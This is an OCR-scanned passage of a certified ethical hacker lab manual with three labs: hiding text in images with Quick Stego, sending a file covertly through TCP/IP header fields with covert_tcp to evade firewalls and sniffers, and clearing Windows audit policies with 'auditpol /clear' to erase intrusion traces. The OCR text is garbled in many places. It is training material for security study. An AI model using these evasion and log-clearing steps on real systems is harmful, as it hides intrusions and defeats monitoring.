B Web exercise be scanned to find out if there are any new messages for the day; once decrypted, these

messages point to links on the same site with the remaining information encrypted.
) Workbook review

To be an expert ethical hacker and penetration tester, you must understand how to
hide text inside an image. In this lab, we show how to do so using Quick Stego.

7Tools Lab Objectives

demonstrated in

this lab are The objective of this lab is for students to learn how to hide secret text messages in
available in images using Quick Stego.

Z\CEH-

Tools\CEHV10 Lab Environment

Module 06 System 4

Hacking To perform this lab, you need:

= A computer running Windows Server 2016
= Administrative privileges to install and run tools

= Or, download Quick Stego tool at httpi/iquickcrypto.comfree-
steganography-software.html

= If you wish to download the latest version, the screenshots may differ
® Run this tool in Windows Server 2016
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Lab Duration
Time: 5 Minutes

Overview of Steganography

Steganography is the art and science of writing hidden messages in such a way that no
one, apatt from the sender and intended recipient, suspect the existence of the
message—a form of security through obscurity. Steganography includes the
concealment of information within computer files. In digital steganography, electronic
communications may include stenographic coding hidden inside a transport hyer,
such as a document file, image file, program, or protocol.

Lab Tasks

The basic idea in this section is to:

1. Navigate to ZACEH-Tools\CEHv10 Module 06 System

Hrask 1
Hacking\Steganography Tools\Image Steganography Tools\QuickStego
Hide the text and double-click @$12Setup.exe.
inside the image ) . . . X ) L
2. Follow the wizard-driven installation steps to install the application.
Setup - Quick Stego - X
Welcome to the Quick Stego
Setup Wizard
This will install Quick Stego 1.2 on your computer
It is recommended that you close all other applications before
continuing
Click Next to continue, or Cancel to exit Setup
Cancel
FIGURE 14.1: Windows Server 2012 - Apps
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3. On completing the installation, launch the Quick Stego application from the
FI]I You can download Apps list.

the Quick Stego from
http:/ /quickerypto.com.
Dick Stego

Most used

& coogie o Sexver Manager

S) Mosita Firefox

Wincows
Administrativ. Task Controd Panel

’ Notepad % i !

Remote
Dacktop. Fvent Viewer

Acrobat Reader DC
@ Googie Chrome

l Jave

FIGURE 14.2 Windows Server 2016- Apps

4. 'The Quick Stego main window appears, as shown in the screenshot:

i Steganography - Hide 2 Secret Text Message in 2n Image X

\cture, Image Flle Steganogra =

FIGURE 14.3: Main window of the Quick Stego
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5 Click Open Image, under Picture, Image, Photo File.

i Steganography - Hide a Secret Text Message in an Image X

m Image Types that can
be opened—.jpe/.jpeg, -gif,
or .bmp formats.

e, Image, Photo File [ y f
Open image Hide Text Get Text Open Text

FIGURE 14.4: Opening the image

6. Navigate to Z:\CEH-Tools\CEHv10 Module 06 System
Hacking\Steganography Tools\Image Steganography
Tools\QuickStego, sclect the image file 02_nissan_gt-r_ specv_opt.jpg,
and click Open.

i Select An Image File To Open X
- () « Image Stegan... Quick Stego v O Search Quick Stego o
Organize v New folder - ™ @
Snow o Name Date modified Type
Steganography - [- 02_nissan_gt-r_specv_opt.jpg 11/12/2017 11:04 PEG image
&8 ThisPC
[ Desktop
[saved Hidden —
Text lmag - 3 Downloads
.bmp format only
D Music
= Pictures
B Videos
B o 3
File name: | 02_nissan_gt-r_specv_opt.jpg < | Images ("bmp;"jpg;* jpeg;*.gif
FIGURE 14.5: Sckocting the image
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7. 'The selected image is added; it displays the message: THIS IMAGE DOES
NOT HAVE A QUICK STEGO SECRET TEXT MESSAGE.

§l QuickStego - Steganography - Hide a Secret Text Message in an Image X

e b
Open image Save Image
THIS IMAGE DOES NC AVE A QUICK STEGO SECRET TE \ESSAGE Upgrade

Pi

FIGURE 14.6: Selected image is displayed

8. To embed text in the image, click Open Text, under Text File.

Bl QuickStego - Steganography - Hide a Secret Tedt Message in an Image %

m Quick Stego does not
ENCRYPT the secret text
message though it is well
hidden in the image.
QuickCrypto includes the
functions of Quick Stego
but also allows you to
securely encrypt text and
files and even hide files on
your computer.

THIS IMA JOES NOT HAVE A QUICK STEGO SECRET TE MESSAGE

FIGURE 14.7: Selected text file
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9. Navigate to Z:\CEH-Tools\CEHv10 Module 06 System
Hacking\Steganography Tools\Image Steganography
Tools\QuickStego, sclect the text file text file.txt, and click Open.

B8 Select File to Open X
™ Image Stegan... » Quick Stego v O S o
Organize v New folder = ™ @
Steganography = Name Date modified TyE
B8 This PC [ | text file.xt 11/12/2017 11:04 Text Docur
m 'The core functions of B Desktop
Quick Stego are ako part
of QuickCrypto, therefore Documients
the product will be & Downloads
supported for the
foreseeable future, & Music
Functionality on its way i & Pictures
the ability to hide messages
inside audio files (e.g., mp3 }B Videos N % 3
and wav).
File name: | text file.bt ~| TextFiles v
Cancel

FIGURE 14.8: Selecting the text file

10. Selected text will be added in the text box right next to the image as shown
in the following screenshot:

FIGURE 14.9: Contents of the text file displayed in Quick Stego
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[H The hrger the image,
the more text that can be
@neealed within, Quick
Stego will tell you how many
characters of text you must
lose if you go over this limit
per picture, In practice alot of
secret text can be hidden in
even asmall image.

auick Stego
imperceptibly
alters the pixels
(individual picture
elements) of the
image, encoding
the secret text by
adding small
variations in color
to the image. In
practice, to the
human eye, these
small differences
do not appear to
change the image

Module 06 - System Hacking

11. Click Hide Text, under Steganography.

12. Quick Stego application hides the text within the image, which can be
observed by the message displayed by Quick Stego (The text message
now hidden in the image), as shown in the screenshot:

JB§ QuickStego - Stegancgraphy - Hide 2 Secret Text Message in an Image X

age is now hidden in image Upgrade

FIGURE 14.10: Hiding the text

13. To save the image (in which the text is hidden), click on Save Image,
under Picture, Image, Photo File.

Upgrade

FIGURE 14.11: Save the steganography image
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14. Provide the file name stego, and click Save (save it to the Desktop).

£8 Save The Image File To X
€« 4 WM > ThisPC » Desktop

Organize ¥ New folder - O
= Documents

& Downloads

D Music

& Pictures

I8 Videos

2 Local Disk(C) v < >

File name: [ncgc

Save astype: | Image (*.bmp)

A~ Hide Folders Cancel

FIGURE 14.12: Browse for saved file

\ aMBof 15. The file is now saved as “stego.” Though it seems to be a normal image
£ ; pproximately 2MB of . . i s - o s aca F
free bas disk space (phis file, it has the text hidden in it, which can be visible by viewing it in Quick
extra space for any images) SngO.

16. Exit Quick Stego, and re-launch it from the Apps screen.
17. Click Open Image, under Picture, Image, Photo File.
18. Browse the Stego file (on the Desktop).

19. The hidden text inside the image will be displayed as shown in following
screenshot:

i QuickStego - Steganography - Hide a Secret Text Message in an Image X

FIGURE 14.13: Hidden text is showed
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20. In real-time, an attacker might scan for images that contain hidden
information and use steganogtaphy tools to obtain the information
hidden in them.

Lab Analysis
Analyze and document the results related to the lab exercise. Give your opinion on
your target’s security posture and exposure.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Internet Connection Required

O Yes M No
Platform Supported
Classroom iLabs
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7 Valuable
information

# Test your
knowledge

B Web exercise

£ workbook review

7Tools
demonstrated in
this lab are
available in
ZA\CEH-
Tools\CEHv10
Module 06 System
Hacking
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Covert Channels using
Covert TCP

This program manjpulates the TCP/ IP haader to transfer a fle one byte at a tme o a destnation bost.
Lab Scenario

Networks use network access control permissions to permit/deny the traffic through
them. Tunneling is used to bypass the access control rules of firewalls, IDS, IPS, web
proxies to allow certain traffic. Covert channels can be made by inserting data into
unused fields of protocol headers. There are many unused or misused fields in TCP
or IP over which data can be sent to bypass firewalls.

Lab Objectives
The objective of this lab is to help students learn:

= How to carty covert traffic inside of unused fields of TCP and IP headers?

Lab Environment

Too carty out this lab, you need:
= A computer running Windows Server 2016
» Kali Linux running as a virtual machine
*  Ubuntu running as a virtual machine

Lab Duration
Time: 10 Minutes

Overview of Covert TCP

Covert_TCP manipulates the TCP/IP header of the data packets to send a file one
byte at a time from any host to a destination. It can act like a setver as well as a client
and can be used to hide the data transmitted inside a IP header. This is useful when
bypassing firewalls and sending data with legitimate looking packets that contain no
data for sniffers to analyze.
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Lab Tasks

B vaeikid 1. In the Kali Linux machine, launch a Terminal window and type cd Desktop.
Hit Enter to change the current working directory to Desktop.

Make a Secret ; )
Message File root@kali: ~/Desktop e o0
File Edit View Search Terminal Help
:~# cd Desktop
:~/Desktop# JJ
FIGURE 15.1: Navigating to Desktop
2. 'Type mkdir send and hit Enter to make a folder named send on the Desktop.
root@kali: ~/Desktop e o0
File Edit View Search Terminal Help
# cd Desktop
mkdir send
e |
FIGURE 15.2: Making a directory
3. 'Then to change the current working directory to send, type ed send/ and hit
Enter as shown in the screenshot.
root@Akali: ~/Desktop/send e ® 0
File Edit View Search Terminal Help
FIGURE: 15.3: Navigating to the directory
I — = .
Bl maiaws 4. Now type echo “Secret Message” > message.txt and hit Enter as shown
in the screenshot. This makes a new text file named message containing the
Compiie string “Secret Message”.
covert_tcp -
root@kali: ~/Desktop/send e ® O
File Edit View Search Terminal Help
:~# cd Desktop
- e p# mkdir send
cd send/
en echo "Secret Message" > message.txt
end# |
FIGURE 15.4: Making the message fik
CEH Lab Manual Page 612 Ethical Hacking and Countermeasures Copyright © by EC-Councll

All Rights Reserved. Reproduction is Stricty Prohibited,



Module 06 - System Hacking

5. Now navigate to Z\CEH-Tools\CEHv10 Module 06 System
Hacking\Covert_TCP and copy covert_tcp.c and paste it in the send folder
as shown in the screenshot.

> [< @ Home Desktop send »] lal=zlz| @@ ©
O Recent L - f
@ Home L SIS 20.9k8 05:33
B Desktop =' message.txt 15 bytes 06:00
\
L2 Comeuts New Eolder i<
© o
J1 Music Select All el A
Properties {

Pictures
i Open in Terminal
H Videos

FIGURE 15.5: Pasting covert_tep.c fike

6. Switch back to the terminal and type cc -o covert tcp covert tep.c and hit
Enter as shown in the screenshot. This compiles the covert_tep.c file.

root@kali: ~/Desktop/send e @ 0
File Edit View Search Terminal Help
:~# cd Desktop
- # mkdir send
ktop# cd nd/
tog # echo "Sec

CcC -0 cov tcp covert tcp

covert_tcp.c:45:1: w return type defaults to ‘i
(int argc, char ** v)

FIGURE 15.6: Compiling Covert_tep.c fike

7. Now switch to the Ubuntu machine. Open a terminal window and type sudo
su. Hit Enter to gain super-user access.

B rasK: 3 8. Ubuntu will ask for the password, type toor as the password and hit Enter.
Make a Receiving Note: The password you type will not be visible in the terminal window.
Destination

root@jason-Virtual-Machine: /home/jason

3 S sudo su
do] password T

oot@jason-Virtual-Machine: /home/jason# i

FIGURE 15.7: Getting superuser acass
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9. Type tcpdump -nvvX port 8888 -i lo and hit Enter to start tcpdump as shown
in the screenshot.

root@jason-Virtual-Machine: /home/jason

ason@jason-Virtual-Machine:~$ sudo su
sudo] password for jason

root@jason-virtual-Machine: /home/jason# tcpdump -nvvX port 8888 -1 lo
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes

FIGURE 15 8: Setting up a tepdump listener
10. Now leave the tcpdump listener running and open another terminal window.
Type cd Desktop/ and hit Enter as shown in the screenshot.

jason@jason-Virtual-Machine: ~/Desktop

n-Virtual-Machine:~$ cd Desktop/
on@jason-virtual-Machin s i

FIGURE 15.9: Navigating to Desktop
11. Type mkdir receive and hit Enter.

jason@jason-Virtual-Machine: ~/Desktop
S cd Desktop/
p$ mkdir receive

s

FIGURE 15.10: Making a folder

12. To change the current working directory, type cd receive/ and hit Enter.

Jason@jason-Virtual-Machine: ~/Desktop/receive
ason@ja e:~$ cd Desktop/
€ $ mkdir receive
S cd receive/
s 1

FIGURE 15.11: Navigating to the fokler

B Task a 13. Now navigate to Z:\CEH-Tools\CEHv10 Module 06 System
Hacking\Covert_TCP and copy covert_tcp.c and paste it in the receive folder

Compile as shown in the screenshot.
covert_tcp
recelve
@ Home Desktop receive

® Recent -~

S
@ Home

covert_tej
[ Desktop c
[ Documents
¥ Downloads
id Music
FIGURE 15.12: Pasting coven_tcp.c file
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14. Switch back to the terminal and type cc -o covert_tcp covert_tcp.c and hit
Enter as shown in the screenshot. This compiles the covert_tcp.c file.

jason@jason-Virtual-Machine: ~/Desktop/receive

jason@jason-Virtual-M $ cd Desktop/
ason@jason-Virtual-M L $ mkdir receive

ason@jason-Virtual ~/Desktop$ cd recelve/

ason@jason-Virtual-Machi esktog ec ve$ cc -0 covert p covert_tcp.c
covert_tcp.c:45:1: return type defaults to ‘int” | ]
(int argc, char **argv)

ason@jason-Virtual-Machine: esktop ceives i

FIGURE 15.13 Compiling covert_tepe fik

15. Now type sudo su and hit Enter to gain super-user access.

B Task s 16. Ubuntu will ask for the password, type toor as the password and hit Enter.

Setup a Listener Note: The password you type will not be visible in the terminal window.

root@jason-Virtual-Machine: /home/jason/Desktop/receive
jason-Virtual t S cd Desktop/
son@jason-Virtual-Machin esktop$S mkdir receive
son@jason-Virtual-M ktopS cd receive/
ason@jason-Virtual yesktop/re -0 covert_tcp covert_tcp.c
covert_tcp.c:45:1: return type def s to ‘int’ [ - ]
(int argc, char **argv)

ason-Virtual-Machi esktop/ ive$ sudo su
sudo] password for jason
root@jason-Virtual-Machine:/home/jason/Desktop/receive# [}

FIGURE 15.14: Getting superuser access

17. To start a listener, type Jecovert_tcp —dest 10.10.10.9 -source 10.10.10.11
-source_port 9999 -dest_port 8888 -server -file
/homeljason/Desktop/receive/receive.txt and hit Enter as shown in the
screenshot.

root@jason-Virtual-Machine: /home/jason/Desktop/receive
ason@jason-Virtual-Machine: esktop/r S sudo su
sudo] password for jason:
oot@jason-Virtual-Machine: /home/jason/Desktop/recelve# ./covert_tcp -dest 10.10
10.9 -source 10.10.10.11 -source_port 9999 -dest_port 8888 -server -file /home/
jason/Desktop/receive/receive. txt
overt TCP 1.0 (c)1996 Craig H. Rowland (crowland@psionic.com)
ot for commercial use without permission.
istening for data from IP: 10.10.10.11
istening for data bound for local port: 9999
Decoded Filename: /home/jason/Desktop/receive/receive.txt
Decoding Type Is: IP packet ID

erver Mode: Listening for data.

FIGURE 15.15: Setting up covert_tep listener
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18. Now switch back to the Kali machine. Navigate to Applications >
_H raske 09 - Sniffing & Spoofing and click wireshark as shown in the screenshot.

Launch Wireshark

ual applications

FIGURE 15.16: Launch wireshark

19. Wireshark starts and a popup saying “.ua: Error during loading:” appeats.
Click OK to continue.

Wireshark

Lug: Error during loading
[string “usr/sharetwireshark/int Wa A4 dofile has besn
dicabled due to running Wireshark s superuser. See https://
ik viireshark or o/ CaptireSetup/ CaptirePrivileges for nelp in
running Wireshark s an unprivileged user,

FIGURE 15.17: Wireshark error prompt
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20. Double-click on your primary network interface (here eth0) to start
capturing traffic as shown in the screenshot.

The Wireshark Network Analyzer LB )
Flle Edn Vew Go Capture Analyze Statistics Telephony Wireless Tools Help
4 u ® n RE Qe == aaqaF ‘
W [opty 2 display fifter .., <Ct =3 -| Expressica. + |

Welcome to Wireshark

= All mterfaces shown =

User's Guide - Wiki - Questions and Answers ~ Makling Lists

You are running Wireshark 2.4.2 (Git Rev Unknown from uniknown)

L ~_ Aoady to load o capture No Packets Frofie: Default J

FIGURE 15.18: Starting the packet capture

Bl R 5 21. Minimize Wireshark and switch back to the terminal window.
Start Sending the 22. Type .lcovert_tcp -dest 10.10.10.9 -source 10.10.10.11 -source_port 8888
Message -dest_port 9999 -file /root/Desktop/send/message.txt and hit Enter to start

sending the contents of message.txt file over tcp.

root@kali: ~/Desktop/send 60 O

File Edit View Search Terminal Help
# cd Desktop
0 # mkdir send
top# cd send/
1d# echo “"Secret Message" > message.txt
:~/Desk 1d# cc -o covert tcp covert tcp.c
covert_tcp.c:45: return type defaults

(int argc, char **argv)

1~/ b P wd# ./covert tcp -dest 10.10.10.9 -source 10.10.10.11-sour
ce_port 8888 -dest port 9999 -file /root/Desktop/send/message.txt [j

FIGURE 15.19: Covert_tp command to stan sending the message
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23. Covert_tcp starts sending the string one character at a time as shown in the
screenshot.

root@kali: ~/Desktop/send e ® 0

File Edit View Search Terrginal Help

:~/0 # cC -0 covert tcp covert tcp.c
covert_tcp.c:4 i return type defaults to ‘int’ [-
(int argc, char **argv)

Desk p/send# ./covert tcp -dest 10.10.10.9 -source 10.10.10.11-sou
8888 -dest port 9999 -file /root/Desktop/send/message.txt

Covert TCP 1.8 (c)1996 Craig H. Rowland (crowland@psionic.com)

lot for commercial use without permission

Destination Host: 10.10.10.9

ource Host : 10.10.16.11

originating Port: random

Jestination Port: 8888

Encoded Filename: /root/Desktop/send/message.txt
ncoding Type : IP ID

lient Mode: Sendi data,

ending Data:
sending Dat
ending Da
sending Data:
nding Data:
nding Data:

FIGURE 15.20: Covert_tcp sending data

24. If you switch to the terminal window in Ubuntu, you will see the message
being received as shown in the screenshot.

root@jason-Virtual-Machine: /home/jason/Desktop/receive

ason@jason-Virtual-Machine: Desktog eceiveS sudo su

[sudo] password for jason

oot@jason-virtual-Machin home/jason/Desktop/receive# ./covert_tcp -dest 10.10
.10.9 -source 10.10.10.11 ource_port 9999 -dest_port 8888 -server -file /home/
jason/Desktop/receive/receive.txt

Covert TCP 1.0 (c)1996 Craig H. Rowland (crowland@psionic.com)

Not for commercial use without permisstion.

_istening for data from IP: 10.10.10.11

istening for data bound for local port: 9999

Decoded Filenar /home/jason/Desktop/receive/receive. txt

yecoding Type Is: IP packet ID

server Mode: Listening for data.

Data:
Data:
teceiving Data:
leceiving Data:
Receiving Data:
Recelving Data:
teceiving Data:
Data:
Data:
Data:
receiving Data:
teceiving Data:
ivi Data: g
Data:
Receiving Data:

FIGURE 15.21: Covert_tep recciving data
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25. Close this terminal and open the second terminal running in Ubuntu. Press
Ctri+C to stop tcpdump.

26. You will see that tcpdump shows that no packets were captured in the
network as shown in the screenshot. Close the terminal.

root@jason-Virtual-Machine: /home/jason

rtual-Machine:~$ sudo su
word for jasor
irtual-Machine: /home/jason# tcpdump -nvvX port 8888 -1 lo
listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes

packets captured
) packets received by filter

packets dropped by kernel
oot@jason-Virtual-Machine: /home/jason#

FIGURE 15.22: I'epdump showing () packets captured

27. Now switch to the Kali Linux machine. Navigate to Home/Desktopireceive
and double-click the receive.txt file to view its contents. You will see the full
message saved in the file as shown in the screenshot.

i, c (R
> Home
covert_tcp covert_tcp. | recelve.txt
I D¢ c
D bocu
v
dd
o]
- v
o}
2] Floppy Disk
+

Plain Text ¥ TabWidth:8 » Ln1,Col 15 v INS

“receive.txt” selected (15

FIGURE 1523 Message saved in a text file

28. Now switch back to the Kali Linux machine. Close the terminal windows and
open wireshark.
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29. (Click the stop packet capture button from the menu bar as shown in the
screenshot.

Capturing from cthd —Jc)
Flle Eom View Go Capture Analyze Statistics Telephory Wireless Tools Help
RE Q « » 0« w _ QA Q

> =

]

3 -| Expressica.  +

L
No. Time Source Destination Protecol  Lencth Info

FIGURE 1524: Stopping the packet capture

30. In the Apply a display filter ficld, type tep and hit Enter to view only the
TCP packets as shown in the screenshot.

pres CRCNC)

File Edt View Go Capture Analyze Statistics Telophory Wieless Tools Help
AE @ DRARE Q«> s = aaqa’if
) tcp BIC) -) Bxpressicn.. +

No Time Destination Protecal  Length
] B (- 84

Franc 5: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface @

Ethernet II, Src: Micrasaf 608:39:956 (89:15:5d:68:39:86), Dst: Nicrasof BB:39:8% (@6:15:5d:089:39:8%)

Internet Protocol Version 4, Src: 19.18.16.9, Dst: 18.18.18.11

Transnission Control Prolocol, Src Porl: 9999, Dst Porti: @888, Seq: 1, Ack: 1, Len: @ b
@6 15 5d 0O 39 05 66 15 Sd 00 39 O6 B8 66 45 60 ..].5..
@€ 28 ad db 4B D9 48 @6 64 cd Ba D 92 €9 €a 6@a

D020 Ga Gb 27 Of 22 bB @@ €@ 00 00 S5c 15 99 €1 56 14

€6 66 el cb BB BB

FIGURE 15.25: Applying the TCP filter

31. If you examine the communication between Ubuntu and Kali machines, i.e.
10.10.10.11 and 10.10.10.9 you will find each character of the message string
being sent in in individual packets over the network as shown in the following
screenshots.
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32. Covert_tcp changes the header of the tcp packets and replaces it with the
characters of the stting one character at a time to send the message without being
detected.

*ethd e 0
File Fdt Vew Go Capture Analyze Statistics Telephory Wreless Tools Help

B IO ODTRE Qer» e =aaaq

§ [tep BEED | Bpression..  +
Protacal
3 acK]

18.16.16.9 TGP Porl nuabers reused] 8888
T . ; i -

» Frame 6: 54 bytes on wire (432 bits), %4 hytes captured {432 bits) on interface @

b Ethernet 11, Src: Microsaf 68:39:05 {89:15:3d:08:39:85), Dst: Microsof BB:39:85 (66:15:5d:0D:38:06)
b Internet Protocol Version 4, Src: 19.189.16.11, Dst: 19.19.16.9

» Transmission Contrel Pretecol, Sre Porl: 8888, Dst Port: 9898, Seq: 8, Len: ©

@@ 15 5d 86 39 B6 88 13 5d 60 35 BS B 66 A% 66

) ©@ 28 65 00 DD DD 40 @6 ed a8 0a Da Da 60 Ga Ga
E @a 69 22 b8 27 Of 4a €f GG 00 0O DD 09 @@ SE@ 42
3 @2 g f1 a4 0D BB

Tethd o000

File Edit View Go Caplure Analyze Stalistics Telephory Wreless Taols Help
MBI ORI RE Q«*» s =@ qaF

Destination Protucal Length Info

b Frame 4: 54 bytes on wire (432 bits), 54 bytes coptured {432 bits) on interface @
» ELhernel II, Sr Micrasal 80: 05 {99:1 d:60:39:05), DsL: Microsof DD:35:08 (€6:15:50:00:39:06)
b Internel Protocol Version 4, Src: 19.19.1€.11, Dst: 16.19.18.9

» Transmission Control Pratocol, Src Port: 8883, Dst Port: 9999, Se
@6 15 od 60 39 BB 98 15 5d 60 39 BS BH 66 45 €8
@ 28 53 B0 6D B 48 G6 ff a8 Oa Ba Sa 6b 6a Ga
Ga @9 22 bB 27 Bf Sc 15 G0 00 00 0B 99 8¢ 5@ 42
@2 €@ df 9e 88 BB
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T LN
File Ecit Wew Go Capture Analyze Statistics Telsphory Weelsse Tools Help
Am7@ TIRE Q« >0 ® a q 7F

tep B3 -| Bpression..  +

Protocal Length Info

Time Saurce Destination

7IBE568  10.18.18. 8

[} Frane 8: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface @
» Ethernet II, Src: Microsof_00:39:05 {99:15:5d:00:39:05), Dst: Microsof_00:39:06 (68:15:50:00:39:96)
b Internet Protocol Version 4, Src: 10.19.18.11, Dst: 10.19.16.9
» Transmission Control Protocol, Src Port: 8888, Dst Port: 0999, Seq: 0, Len: @
@@ 15 50 00 39 B6 89 15 5d 00 36 05 06 @€ 45 6a
@8 28 63 60 BD BD 48 €6 cf 2B Ba Ba 8a @b 6a 6a
20 ®a 69 22 b8 27 B ¢3 Gb 00 00 0D 0D 90 66 50 42
@2 @6 78 ad 6D DR

7 Transmession Control Pr

Packets 35 Dl 30,4852 d 0 (0.0%)  Frofie: Defaut

ey CRCNC)|

File Edt View Go Capture Anaslyze Statistics Telsphoty Weeless Tools Help
AW IO DFRE Q«>2ww @ q q F

-| expression..  +

Length Info

Protecal

b Frame 10: 54 bytes on wire (432 bits), 54 byles caplured {432 bils) on interface @
b Ethernet II, Src: Microsof 60:39:95 (89:15:5d:00:39:05), Dst: Microsof B8:38:06 (€6:15:50:00:39:98)
b Internet Protocol Version 4, Src: 10.18.16.11, Dst: 19.19.18.9
» Transmission Control Protocol, Src Port: 8888, Dst Port: 9999, Seq: 0, Len: @
@6 15 5d 0O 39 B6 8 15 5d 06 35 b5 OO 66 45 @A
©8 28 72 60 BD DD 18 €6 c6 a8 Pa Ba 92 Gb Ga Ga
20 ®a 89 22 b8 27 Ot ad 6f 00 00 0D 0D 90 60 S50 42
@2 €@ 9b =4 PD BB

FIGURE 15.26: Individual TCP headers changed to send the message sceredy
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Lab Analysis

Analyze and document the results related to the lab exercise.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS

RELATED TO THIS LAB.

O Yes ¥ No
Platform Supported
M Classroom M iLabs
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ICON KEY

["=7 Valuable

information

A Test your
knowledge

B Web exercise

g:] Workbook review

~7Tools
demonstrated in
this lab are
available in
Z:\CEH-
Tools\CEHv10
Module 06 System
Hacking

Module 06 - System Hacking

Viewing, Enabling and Clearing
Audit Policies using Auditpol

Auditpalis a command in Windows Server 2016, Windaas Server 2012, and Windouss Server
2008, and is reguired for querying or configuring andit polcy at the svaiggary level
Lab Scenario

In the previous labs you have seen different steps that attackers take duting the system
hacking lifecycle. They start with gaining access to the system, escalating privileges,
executing malicious applications, and hiding files. However, to maintain their access
to the target system longer and avoid detection, they need to clear any traces of their
intrusion. It is also essential to avoid a trace back and a possible prosecution for
hacking.

One of the primary techniques to achieve this goal is to manipulate, disable, or erase
the system logs. Once they have access to the target system, attackers can use inbuilt
system utilities to disable or tamper logging and auditing mechanisms in the system.

Lab Objectives

The objective of this lab is to help students learn:

= How to set the Audit Policies?

Lab Environment

To carty out this lab, you need:
= Auditpol which is an built-in command in Windows Server 2016

®*  You can see more audit commands at httpz/itechnet.microsoft.com/en-
us/library/cc731451%28v=ws.10%29.aspx for Windows Server 2016

= Run this on Windows Server 2016

Lab Duration
Time: 10 Minutes
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/set
Sets the audit policy.

/backup
Saves the audit policy to
a file.

Aist
Displays selectable
policy clements,

/restore

Restores the audit policy
from a file that was
previously created by
using auditpol /backup.

/remove

Removes all per-user
audit policy settings and
disables tem audit
policy settings.

/get
Displays the current
audit policy.

[clear
Clears the audit policy.

Module 06 - System Hacking

Overview of Auditpol

Auditpol displays the information on the performance and functions to manipulate
audit policies.

Lab Task

1. Taunch Command Prompt from the Windows Server 2016 machine.
2. 'To view all the audit policies, type the following command:

auditpol /get /category:*
3. Press Enter.

¥ Administrator: Command Prompt —~ a X

FIGURE 16.1: Auditpol viewing the policies
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4. 'To enable the audit policies, type the following at the command prompt:
/resourceSACI,
Configures global auditpol /set /category:"system™," t logon™ / bl
resource system access Failure:enable
control lists (SACLs).

5. Press Enter.

BN Administrator: Command Prompt - O X

Auditpol /get
[fuser:<username> | <{sid
1=l

|[/category* | <name:>
uid} =,
]

ubcategory:*| <name>

<{g

< {guid}>

name | <{guid

|[foption:<option name=>|
[/sd]

/]

FIGURE 16.2: Auditpol Local Security Policies in Windows Server 2016

6. To check whether audit policies are enabled, type the following at the
command prompt: auditpol /get /category:*

7. Press Enter

Administrator: Command Prompt i a X

disable>]
|/subcategory:<name=
guid } [ e | < {gui

|[/option:<option name>
/

<enable>| <diable>|

FIGURE 163:Auditpol enabling system and account logon polides
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auditpol /list
[fuser| /category | subeateg

oty| tegoryname > | < {g
uid} > |*]|
(#1171

Auditpol /set

| /user|:<username> | <
}=|[/include] [/ exclude]]
{gui
name | <{guid }>...

tegory:<nam:

cnable> | <disa
ble>][/failure:<enable> | <
disable>|

[/subcatego <{

guid}>|

<option name>

> | <disable>]|
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8. 'To clear the audit policies, type the following at the command prompt:
auditpol /clear ly
. Press Enter.
E¥ Administrator: Command Prompt - (=] X

10.

11.

FIGURE 16.4: Auditpol ckaring the policies

To check whether audit policies cleared, type the following at the command

prompt:

auditpol /get /category:*

Press Enter.

B Administrator: Command Prompt

FIGURE 16.5: Auditpol policies cleared
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Lab Analysis

Analyze and document the results related to the lab exercise.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Internet Connection Required

[ Yes M No
Platform Supported
M Classroom M iLabs
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